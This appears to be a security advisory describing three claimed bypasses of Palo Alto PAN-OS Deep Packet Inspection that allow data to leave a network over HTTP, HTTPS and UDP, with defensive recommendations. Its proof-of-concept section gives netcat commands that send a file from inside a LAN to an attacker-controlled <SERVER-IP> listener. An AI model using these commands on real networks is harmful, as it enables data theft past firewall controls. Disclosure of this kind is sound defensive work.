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| # Title     : Palo Alto Deep Packet Inspection (DPI) Critical Vulnerabilities in Mechanism                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.paloaltonetworks.com/network-security/pan-os                                                                    |
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POC :

[+] Summary

   3 vulnerabilities in Palo Alto Deep Packet Inspection mechanism  
   Advisory URL: https://pierrekim.github.io/advisories/2025-palo-alto-dpi.txt  
   Blog URL: https://pierrekim.github.io/blog/2025-03-31-paloalto-dpi-3-vulnerabilities.html  

[+] :: Product Description ::
    ------------------------------------------------------------
   Palo Alto’s Next-Generation Firewalls provide advanced packet inspection technologies including Deep Packet Inspection (DPI).  
    They use App-ID technology to identify applications even when they attempt to evade detection through masquerading, port hopping, or encryption.

   ------------------------------------------------------------
[+] :: Vulnerability Summary ::
   ------------------------------------------------------------
   Vulnerable versions: **All Palo Alto firewall versions**.

  Versions tested (November 2024):  
  - PanOS 10.2.8 – vulnerable  
  - PanOS 10.2.9-h1 – vulnerable  
  - PanOS 11.1.4 – vulnerable  
  - PanOS 11.2.0 – vulnerable  

[+] Three main vulnerabilities:

   1. **Exfiltration of data via TCP/80 using “service-http”**  
   2. **Exfiltration of data via TCP/443 using “service-https”**  
   3. **Exfiltration of data via UDP to any port and any IP**  
   - Includes PoC: client.py and server.py


[+] :: Impact ::
------------------------------------------------------------
  An attacker within the LAN can:  
  - Bypass Deep Packet Inspection  
  - Exfiltrate sensitive data to any external IP  
  - Using HTTP, HTTPS, or UDP  
  - Without any filtering or blocking  

   This makes networks relying solely on DPI rules **highly vulnerable to data exfiltration attacks**.

   ------------------------------------------------------------
[+] :: Recommendations ::
   ------------------------------------------------------------
   - Do not use DPI rules without specifying destination IP ranges.  
   - Always define IPv4/IPv6 ranges of allowed remote services.  
   - Use Palo Alto EDL when possible.  
   - Do not rely solely on App-ID to classify sensitive applications.  

------------------------------------------------------------
[+] :: PoC Summary ::
------------------------------------------------------------

**Server (attacker on WAN) – listening on port 80:**

    for i in $(seq 1 10); do nc -l -v -p 80 > exfiltration-http-$i; sleep 1; done

**Client (inside LAN) – sending random data:**

    for i in $(seq 1 10); do nc -v <SERVER-IP> 80 < rand.hex; sleep 1.5; done

**Verification:**

    sha256sum exfiltration-http-*

All received files match the original hash — confirming successful data exfiltration through the firewall.

------------------------------------------------------------
[+] :: Full Attack Execution (Working PoC) ::
------------------------------------------------------------

1. On the attacker/server side:

    nc -l -v -p 80 > exfil-file

2. On the victim/client side inside LAN:

    nc -v <SERVER-IP> 80 < file-to-exfiltrate.bin

3. The server receives the data despite DPI rules.

------------------------------------------------------------
[+] :: Conclusion ::
------------------------------------------------------------
The Deep Packet Inspection system in Palo Alto firewalls can be fully bypassed to leak data via HTTP/HTTPS/UDP without filtering.  
Because the engine allows up to 256 KB before blocking, attackers can exfiltrate massive amounts of information.

**All networks relying solely on App-ID or DPI without strict IP-based rules are at severe risk of data exfiltration.**


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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